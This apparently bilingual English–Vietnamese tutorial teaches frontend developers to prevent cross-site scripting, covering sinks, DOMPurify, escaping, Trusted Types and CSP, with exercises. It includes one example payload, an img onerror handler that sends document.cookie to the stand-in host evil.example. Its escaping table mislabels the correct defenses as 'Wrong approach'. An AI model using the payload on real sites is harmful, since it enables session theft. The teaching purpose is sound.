Web Security for Frontend Devs · Part 2 — Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) for frontend devs: why it tops the threat list, stored vs reflected vs DOM-based, dangerous sinks, textContent vs DOMPurify, escaping contexts, Trusted Types, and defense-in-depth — with exercises.
Part 2 of 10 in the Web Security for Frontend Devs series {Phần 2/10 trong series Web Security for Frontend Devs}. Previous {Trước}: Part 1 — The Browser Security Model & Same-Origin Policy · Next {Tiếp}: Part 3 — Content Security Policy (CSP).
This is Part 2 of a 10-part series on the web-security essentials every frontend developer should know — and actively prevent {Đây là Phần 2 của series 10 bài về những kiến thức bảo mật web mà mọi frontend dev nên biết — và chủ động phòng tránh}. Each part explains a real threat, shows vulnerable code, then the fix, and ends with exercises {Mỗi phần giải thích một mối đe dọa thật, cho xem code lỗ hổng, rồi cách sửa, và kết thúc bằng bài tập}.
In Part 1 you learned that the Same-Origin Policy isolates origins from each other {Ở Phần 1 bạn đã học Same-Origin Policy cô lập các origin với nhau}. Cross-Site Scripting (XSS) is the attack that breaks that isolation from the inside: the attacker makes your origin run their JavaScript {Cross-Site Scripting (XSS) là tấn công phá cô lập từ bên trong: kẻ tấn công khiến origin của bạn chạy JavaScript của họ}. Once that happens, the malicious script has the same privileges as your app — not a cross-origin read problem, but full insider access {Khi đó, script độc có cùng quyền như app bạn — không phải vấn đề đọc cross-origin, mà là quyền truy cập nội bộ đầy đủ}.
Why XSS is the #1 frontend threat {Vì sao XSS là mối đe dọa frontend số 1}
XSS consistently ranks at the top of real-world web vulnerability lists because the payoff is immediate and total {XSS liên tục nằm đầu danh sách lỗ hổng web thực tế vì lợi ích tấn công là tức thì và toàn diện}. The injected script runs as the victim user on your origin {Script được inject chạy với danh tính nạn nhân trên origin của bạn}:
- Read anything in the page the user can see (DOM, in-memory state) {Đọc mọi thứ trên trang người dùng nhìn thấy (DOM, state trong bộ nhớ)}.
- Perform actions as the user (click buttons, submit forms, call your APIs with cookies attached) {Thực hiện hành động thay người dùng (bấm nút, gửi form, gọi API kèm cookie)}.
- Exfiltrate session cookies or tokens in
localStorage— unless you’ve layered other defenses (Part 5) {Đánh cắp cookie phiên hoặc token tronglocalStorage— trừ khi bạn xếp lớp phòng thủ khác (Phần 5)}. - Keylog, deface the UI, pivot to admin if the victim is privileged {Keylog, phá giao diện, leo thang lên admin nếu nạn nhân có quyền cao}.
Mental model {Mô hình tư duy}: XSS is not “someone else’s site attacking yours.” It’s your site attacking your user on your behalf {XSS không phải “site khác tấn công bạn.” Đó là site của bạn tấn công người dùng thay mặt bạn}.
Three flavors of XSS {Ba kiểu XSS}
All XSS share one outcome — attacker-controlled JS runs in the victim’s browser on your origin — but where the payload enters differs {Mọi XSS cùng một kết quả — JS do kẻ tấn công kiểm soát chạy trên origin bạn — nhưng payload vào từ đâu khác nhau}.
Stored (persistent) {Stored (lưu lâu dài)}
The payload is saved on the server (database, file, cache) and later served to other users {Payload lưu trên server (DB, file, cache) rồi phục vụ cho người dùng khác}. Classic examples: comment fields, profile bios, support tickets, CMS content {Ví dụ kinh điển: ô comment, bio profile, ticket hỗ trợ, nội dung CMS}. One injection can compromise everyone who views that page {Một lần inject có thể ảnh hưởng mọi người xem trang đó}.
Reflected (non-persistent) {Reflected (không lưu)}
The payload is echoed from the current request — query string, form field, error message — and returned in the HTML response once {Payload phản hồi từ request hiện tại — query, form, thông báo lỗi — và trả về trong HTML một lần}. The victim must open a crafted link (or submit a form) {Nạn nhân phải mở link được tạo sẵn (hoặc gửi form)}. Lower blast radius than stored, still common in search boxes and login errors {Phạm vi nhỏ hơn stored, vẫn hay gặp ở ô tìm kiếm và lỗi đăng nhập}.
DOM-based {DOM-based}
The server never sees the malicious payload {Server không bao giờ thấy payload độc}. Untrusted data flows from the URL fragment, postMessage, WebSocket, or storage into a client-side sink (innerHTML, eval, …) without safe handling {Dữ liệu không tin cậy từ fragment URL, postMessage, WebSocket, hay storage chảy vào sink phía client mà không xử lý an toàn}. DevTools shows clean server HTML; the break is purely in your JS {DevTools thấy HTML server sạch; lỗ hổng nằm hoàn toàn trong JS của bạn}.
Dangerous sinks — where code actually runs {Sink nguy hiểm — nơi code thật sự chạy}
A sink is any API that interprets a string as HTML or JavaScript {Sink là API nào coi chuỗi là HTML hoặc JavaScript}. If attacker-controlled data reaches a sink without the right encoding or sanitization, you have XSS {Nếu dữ liệu do kẻ tấn công kiểm soát tới sink mà không encode/sanitize đúng, bạn có XSS}.
DOM HTML sinks {Sink HTML DOM}:
element.innerHTML,outerHTML,insertAdjacentHTMLdocument.write,document.writeln
JavaScript execution sinks {Sink thực thi JavaScript}:
eval,new Function(string)setTimeout(string),setInterval(string)— the string overload, not the callback form
URL / navigation sinks {Sink URL / điều hướng}:
<a href="javascript:...">,location.href = userInput,window.open(untrusted)
Framework escape hatches (explicit opt-out of auto-escaping) {Cửa thoát framework (tắt escape tự động)}:
- React:
dangerouslySetInnerHTML - Vue:
v-html - Angular:
[innerHTML],bypassSecurityTrustHtml,bypassSecurityTrustUrl, …
Audit your codebase for these symbols the same way you’d audit eval {Rà soát codebase với các symbol này như bạn rà eval}. Every occurrence needs a documented reason and a safe data path {Mỗi chỗ cần lý do ghi rõ và luồng dữ liệu an toàn}.
Vulnerable pattern — and fixes {Mẫu lỗ hổng — và cách sửa}
The classic mistake {Lỗi kinh điển}
// ❌ VULNERABLE — treats user comment as HTML
const el = document.getElementById('comment');
el.innerHTML = userComment;
If userComment is <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, the browser runs it {Nếu userComment là <img src=x onerror="...">, trình duyệt sẽ chạy}.
Fix 1: treat untrusted data as text {Sửa 1: coi dữ liệu không tin cậy là text}
// ✅ SAFE — no HTML parsing
el.textContent = userComment;
Modern frameworks escape by default in template interpolation {Framework hiện đại escape mặc định khi interpolate template}:
// React — escaped automatically
<p>{userComment}</p>
<!-- Vue — text interpolation is escaped -->
<p>{{ userComment }}</p>
<!-- Angular — {{ }} binds as text -->
<p>{{ userComment }}</p>
Use escape hatches only when you intentionally need markup — and then sanitize {Chỉ dùng escape hatch khi cố ý cần markup — và khi đó phải sanitize}.
Fix 2: when you truly need HTML — sanitize {Sửa 2: khi thật sự cần HTML — sanitize}
Rich text editors, rendered Markdown, and legacy CMS fields need a subset of HTML {Editor rich text, Markdown render, field CMS cũ cần tập con HTML}. DOMPurify is the de-facto browser sanitizer: allow-list tags/attributes, strip scripts and event handlers {DOMPurify là sanitizer de-facto trên browser: allow-list tag/attribute, gỡ script và event handler}.
import DOMPurify from 'dompurify';
function renderUserHtml(dirty: string): string {
return DOMPurify.sanitize(dirty, {
USE_PROFILES: { html: true },
// forbid risky URI schemes even inside allowed tags
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i,
});
}
// ✅ SAFE assignment after sanitize
el.innerHTML = renderUserHtml(userComment);
Server-side sanitization (e.g. on write) is still required for stored XSS — the client can be bypassed {Sanitize phía server (khi ghi) vẫn bắt buộc cho stored XSS — client có thể bị bỏ qua}. Client sanitize is defense in depth for DOM-based paths and double-encoding bugs {Sanitize client là phòng thủ nhiều lớp cho DOM-based và lỗi encode kép}.
Fix 3: context matters — never concatenate HTML {Sửa 3: ngữ cảnh quan trọng — đừng nối chuỗi HTML}
Escaping rules differ by where the string lands {Quy tắc escape khác theo vị trí chuỗi được đặt}:
| Context | Example sink | Wrong approach |
|---|---|---|
| HTML body | innerHTML | HTML-entity encode or sanitize |
| HTML attribute | alt="${user}" | Attribute-encode; quote-wrap |
| URL | href, src | Validate scheme; block javascript: |
| JS string | inline script, JSON-in-script | JS-string escape; prefer JSON.parse from application/json |
| CSS | style | Strict allow-list; never raw user CSS |
// ❌ VULNERABLE — HTML context + string concat
const html = `<div class="card">${userName}</div>`;
container.innerHTML = html;
// ✅ BETTER — separate structure from data
const card = document.createElement('div');
card.className = 'card';
card.textContent = userName;
container.replaceChildren(card);
URL sinks: never pass untrusted strings to href or location without validation {Sink URL: đừng đưa chuỗi không tin cậy vào href hay location mà không validate}.
function safeHttpUrl(raw: string): string | null {
try {
const u = new URL(raw, window.location.origin);
if (u.protocol === 'https:' || u.protocol === 'http:') return u.href;
} catch {
/* invalid URL */
}
return null;
}
// block javascript: and data: in navigation
const target = safeHttpUrl(userSuppliedLink);
if (target) link.href = target;
Trusted Types — gate dangerous sinks {Trusted Types — chặn sink nguy hiểm}
Trusted Types (Chromium-family browsers; polyfill available) turns dangerous DOM assignments into typed values produced only by your policies {Trusted Types biến gán DOM nguy hiểm thành giá trị có kiểu chỉ policy của bạn tạo ra}. Pair with CSP directive require-trusted-types-for 'script' {Kết hợp directive CSP require-trusted-types-for 'script'}.
Content-Security-Policy:
require-trusted-types-for 'script';
trusted-types appHtmlPolicy;
if (window.trustedTypes) {
const policy = window.trustedTypes.createPolicy('appHtmlPolicy', {
createHTML: (input: string) => DOMPurify.sanitize(input),
});
function setRichHtml(el: HTMLElement, dirty: string): void {
const trusted = policy.createHTML(dirty);
el.innerHTML = trusted; // only TrustedHTML accepted when enforcement is on
}
}
Raw strings assigned to innerHTML throw at runtime — forcing every sink through an audited policy {Chuỗi thô gán vào innerHTML ném lỗi runtime — buộc mọi sink qua policy đã audit}. This catches regressions in code review and CI {Bắt regression trong review và CI}.
Defense in depth — what XSS cannot undo alone {Phòng thủ nhiều lớp — XSS không thể phá hết một mình}
No single fix is sufficient; stack layers so one mistake is not game over {Không có một fix đơn lẻ đủ; xếp lớp để một sai sót không kết thúc trận}.
Content Security Policy (CSP) — Part 3 {Content Security Policy (CSP) — Phần 3}: restrict which scripts may execute (script-src, nonces, hashes), block inline handlers, and report violations {hạn chế script nào được chạy, chặn handler inline, báo cáo vi phạm}. CSP is not a substitute for output encoding, but it limits blast radius when a sink slips through {CSP không thay encode output, nhưng giới hạn thiệt hại khi một sink lọt}.
httpOnly session cookies — Part 5 {Cookie phiên httpOnly — Phần 5}: if the session token lives only in an httpOnly cookie, document.cookie and many exfiltration snippets return nothing {nếu token phiên chỉ trong cookie httpOnly, document.cookie và nhiều snippet đánh cắp không đọc được gì}. The attacker may still ride the session (submit forms, call APIs) — so XSS remains critical — but token theft to an external server is harder {Kẻ tấn công vẫn có thể mượn phiên (gửi form, gọi API) — XSS vẫn nghiêm trọng — nhưng đánh cắp token ra server ngoài khó hơn}.
Same-Origin Policy from Part 1 does not stop XSS on your own pages — the malicious script is same-origin {SOP từ Phần 1 không chặn XSS trên trang của bạn — script độc đã cùng origin}. SOP helps limit where stolen data can be sent, not whether it can be read locally {SOP giúp giới hạn nơi dữ liệu đánh cắp gửi đi, không phải việc đọc cục bộ}.
Prevention checklist {Checklist phòng tránh}
Before you ship a feature that renders user content {Trước khi ship tính năng hiển thị nội dung người dùng}:
- Default to text, not HTML —
textContent, framework{}binding {Mặc định text, không HTML}. - If HTML is required, sanitize (DOMPurify + server-side on persist) {Nếu cần HTML, sanitize}.
- Never build HTML with template literals + untrusted data {Đừng dựng HTML bằng template literal + dữ liệu không tin cậy}.
- Block
javascript:(and suspiciousdata:) in URLs {Chặnjavascript:trong URL}. - Enable CSP and consider Trusted Types on high-risk apps {Bật CSP và cân nhắc Trusted Types trên app rủi ro cao}.
- Store session tokens in httpOnly cookies where possible (Part 5) {Lưu token phiên trong cookie httpOnly khi có thể (Phần 5)}.
Bài tập / Exercises
1. Classify each scenario as stored, reflected, or DOM-based, and name the likely sink {Phân loại mỗi tình huống là stored, reflected, hay DOM-based, và nêu sink có khả năng}:
(a) A forum post containing <script> is saved and shown on every visitor’s thread page.
(b) https://shop.com/search?q=<script>… echoes q inside a <h1> without encoding.
(c) https://app.com/#/profile?name=… — a SPA reads location.hash and assigns it to innerHTML.
Solution {Lời giải}
(a) Stored — persisted comment, served to others; sink likely server template or client render of stored HTML {Stored — comment lưu DB, sink template server hoặc render HTML lưu}.
(b) Reflected — payload in request, echoed once; sink server-side HTML or innerHTML on search results {Reflected — payload trong request, phản hồi một lần}.
(c) DOM-based — server may not see fragment; sink innerHTML (or similar) in client router code {DOM-based — server có thể không thấy fragment; sink innerHTML trong router client}.
2. Fix the vulnerable snippet using either textContent or DOMPurify (your choice, justify in one sentence) {Sửa đoạn lỗ hổng bằng textContent hoặc DOMPurify (chọn một, giải thích một câu)}:
function showBio(el, bio) {
el.innerHTML = bio;
}
Solution {Lời giải}
If bio is plain text only {Nếu bio chỉ là text thuần}:
function showBio(el, bio) {
el.textContent = bio;
}If limited HTML (links, bold) is required {Nếu cần HTML giới hạn (link, bold)}:
import DOMPurify from 'dompurify';
function showBio(el: HTMLElement, bio: string): void {
el.innerHTML = DOMPurify.sanitize(bio);
}Use textContent when you don’t need markup; sanitize when you do {Dùng textContent khi không cần markup; sanitize khi cần}.
3. Which of these are safe on a page that may contain attacker-controlled strings? Mark safe / unsafe and why {Cái nào an toàn trên trang có thể chứa chuỗi do kẻ tấn công kiểm soát? Đánh dấu safe/unsafe và vì sao}:
(a) el.textContent = userInput
(b) el.innerHTML = userInput
(c) setTimeout(() => doWork(userInput), 0) — callback form
(d) setTimeout(userInput, 0) — string form
(e) <a href={userInput}> in React without validation
Solution {Lời giải}
(a) Safe — text node, no HTML/JS interpretation {An toàn — text node}.
(b) Unsafe — HTML sink {Không an toàn — sink HTML}.
(c) Safe — userInput passed as data to a function, not compiled as code (still validate if used in URLs/DOM later) {An toàn — truyền data, không compile thành code}.
(d) Unsafe — string overload of setTimeout is eval-class sink {Không an toàn — overload chuỗi như eval}.
(e) Unsafe without scheme check — javascript: URLs execute; validate to http(s): only {Không an toàn nếu không check scheme — javascript: chạy được}.
Stretch {Nâng cao}: Add a minimal Trusted Types policy in a local demo: CSP header with require-trusted-types-for 'script', one createHTML policy using DOMPurify, and prove that assigning a raw string to innerHTML throws while policy.createHTML(dirty) succeeds {Thêm policy Trusted Types tối thiểu: CSP require-trusted-types-for 'script', một policy createHTML với DOMPurify, chứng minh gán chuỗi thô vào innerHTML ném lỗi còn policy.createHTML(dirty) thành công}.
Solution {Lời giải}
Serve (or meta-tag) CSP: require-trusted-types-for 'script'; trusted-types default {Phục vụ CSP với trusted-types default}. Register policy, assign only createHTML output to innerHTML. DevTools console should show TypeError on raw string assignment when enforcement is active {Gán chuỗi thô ném TypeError khi enforcement bật}.
Key takeaways {Điểm chính}
- XSS = attacker JavaScript running on your origin with the victim’s privileges — the top frontend security failure mode {XSS = JS kẻ tấn công chạy trên origin bạn với quyền nạn nhân}.
- Stored, reflected, and DOM-based differ by where untrusted data enters; all need safe output handling {Stored, reflected, DOM-based khác nhau ở chỗ data vào; tất cả cần xử lý output an toàn}.
- Sinks (
innerHTML,eval,javascript:URLs, framework escape hatches) are where prevention must focus {Sink là trọng tâm phòng tránh}. - Prefer textContent / auto-escaping; sanitize HTML with DOMPurify; match escaping to context; validate URLs {Ưu tiên textContent / auto-escape; sanitize bằng DOMPurify; escape đúng ngữ cảnh; validate URL}.
- Layer CSP (Part 3), Trusted Types, and httpOnly cookies (Part 5) so one missed sink is not catastrophic {Xếp CSP (Phần 3), Trusted Types, httpOnly (Phần 5) để một sink sót không gây thảm họa}.
Next up {Tiếp theo}
Part 3 — Content Security Policy (CSP): turn the browser into an enforcement agent — script-src, nonces, reporting, and how CSP complements everything you fixed in Part 2 {Phần 3 — Content Security Policy (CSP): biến trình duyệt thành cơ chế thực thi — script-src, nonce, báo cáo, và cách CSP bổ sung mọi thứ bạn sửa ở Phần 2}. Continue to Part 3 — Content Security Policy (CSP).